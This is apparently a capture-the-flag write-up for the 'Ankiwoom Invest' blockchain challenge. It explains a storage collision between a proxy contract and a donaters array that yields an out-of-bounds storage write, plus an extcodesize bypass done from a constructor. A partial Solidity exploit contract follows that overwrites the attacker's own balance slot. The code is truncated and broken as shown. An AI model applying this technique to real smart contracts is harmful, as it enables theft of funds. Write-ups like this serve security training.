Ankiwoom Invest

Author: Robin_Jadoul

Tags: blockchain

Points: 964 (11 solves)


What do you think about if stock-exchange server is running on blockchain? Can you buy codegate stock?

service: nc 20000



network info: mainnet, petersburg

The info struct in the Proxy contract overlaps with the storage slot of the donaters dynamic array in the Investment contract. This means that whenever info is written, if overwrites the length of donaters and hence we can achieve an out-of-bounds write. Observe that since the msg.sender address is written to the upper part of the length, we are likely to have enough reach to overwrite arbitrary interesting storage variables and in particular target our own balance. Since we need an “invalid” lastDonater when using modifyDonater, we have to make sure that the lastDonater slot contains the address of a contract and a regular user address. That introduces the problem that we need to look like a regular address when performing the donation. To get around it, we can simply perform the setup and donation in the constructor of our contract, before we can be observed to have any nonzero extcodesize. Afterwards, we do the final steps from a regular contract function so that then the extcodesize is no longer seen as 0.

Some calculation on the storage addresses, a lot of fighting with the interaction with the RPC, and hoping our contract address is large enough to span the gap later, we get the flag.

Exploit contract:

import {Investment} from "./Investment.sol";
import {Proxy} from "./Proxy.sol";

contract Sploit {
    Investment target;

    constructor(Investment _t) {
        target = _t;
        // Get some moneh;
        // Buy stonks to donate
        target.buyStock("amd", 1);
        // Donate so we have a contract lastDonater and can modifyDonater
        // Do it in the constructor so somehow it seems like we're a user
        target.donateStock(address(this), "amd", 1);
    fallback() external payable {}

    function continuesploit() public {
        target.modifyDonater(1); // no clue if this was needed, probably not but I added it before the solution suddenly started to work ¯\_(ツ)_/¯

        // Modify stuff, now we're a contract and no longer a user :)
        uint256 base_address = uint256(keccak256(abi.encode(uint256(2)))); // donaters
        uint256 mapping_slot = 7; // Balances
        address mapping_key = address(this);
        uint256 goal = uint256(keccak256(abi.encode(mapping_key, mapping_slot)));

        require(goal > base_address, "Wrong overflow");

        target.modifyDonater(goal - base_address);
        target.buyStock("codegate", 1);